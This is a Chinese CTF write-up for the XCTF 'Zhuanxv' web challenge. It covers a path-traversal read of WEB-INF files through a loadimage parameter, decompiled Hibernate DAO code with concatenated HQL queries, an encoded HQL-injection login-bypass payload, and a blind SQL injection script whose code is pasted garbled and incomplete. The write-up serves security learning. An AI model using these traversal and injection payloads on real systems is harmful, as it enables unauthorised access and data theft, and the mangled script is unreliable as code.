【XCTF】Zhuanxv收获
java题的一般流程
HQL注入
SQL注入
看题
目录扫描
dirsearch扫目录,发现list目录:
一个登录界面,本着尽量不写sql注入题目的原则(因为太菜了这方面,抓包查看代码:
js代码中为了加载图片直接写出了后台存储图像路径,那试试能不能通过这个url和参数直接读取源码。
读源码
先查看web.xml文件:
http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/web.xml
直接得到bg.jpg文件,更改其后缀为xml:
Struts Blank struts2 org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter struts2 /* /ctfpage/index.jsp 404 /ctfpage/404.html
这里可以看到是一个struts2框架,于是我们找一下strust.xml:
http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/classes/strust.xml
得到:
/ctfpage/login.jsp /ctfpage/welcome.jsp image/jpeg attachment;filename="bg.jpg" downloadFile /ctfpage/welcome.jsp execute /ctfpage/login.jsp /ctfpage/welcome.jsp /ctfpage/welcome.jsp
为了登录,先查看com.cuitctf.action.UserLoginAction,其中因为.java文件在被编译后会成为.class文件,所以payload:
http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
看完之后发现也没有什么线索,这里引用了com.cuitctf.util.InitApplicationContext继续看一下:
http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class
反编译成Java文件后发现引用了applicationContext.xml,继续查看:
http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
源码:
com.mysql.jdbc.Driver jdbc:mysql://localhost:3306/sctf user.hbm.xml org.hibernate.dialect.MySQLDialect true PROPAGATION_REQUIRED PROPAGATION_REQUIRED,readOnly
可以看到,这里是连接数据库的关键代码。看一下这些class文件:
http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/user.hbm.xml
user.hbm.xml源码:
UserDaoImpl.class:
package com.cuitctf.dao.impl;import com.cuitctf.dao.UserDao;import com.cuitctf.po.User;import java.util.List;import org.springframework.orm.hibernate3.support.HibernateDaoSupport;public class UserDaoImpl extends HibernateDaoSupport implements UserDao { public UserDaoImpl() { } public List findUserByName(String name) { return this.getHibernateTemplate().find("from User where name ='" + name + "'"); } public List loginCheck(String name, String password) { return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'"); }}
利用
看了一眼wp,这里是一个HQL注入,其实和SQL注入类似,payload:
from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'
这里使用’1′>’0’的逻辑绕过万能密码。因为代码中过滤了空格和等号,所以需要用ascii码绕过,并且使用换行代替被过滤的空格。
admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
登录时,password随便设,同时这里需要使用Get方法提交,直接在网页上输入是POST方法,网页没反应。
虽然登录成功,但是没有FLAG,所以需要根据user.hbm.xml的提示信息进行sql注入。
注入
贴上大佬的盲注脚本:
import requestss = requests.session()flag = ''for i in range(1, 50): p = '' for j in range(1, 255): # (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < ' payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2) 20000 and p != '': flag += p print(i, flag) break p = chr(j)
参考文章
javaweb项目的文件结构
总结
跟着大佬博客开始学习到java安全相关的东西了。跟同龄大佬的差距真大….真是太低手了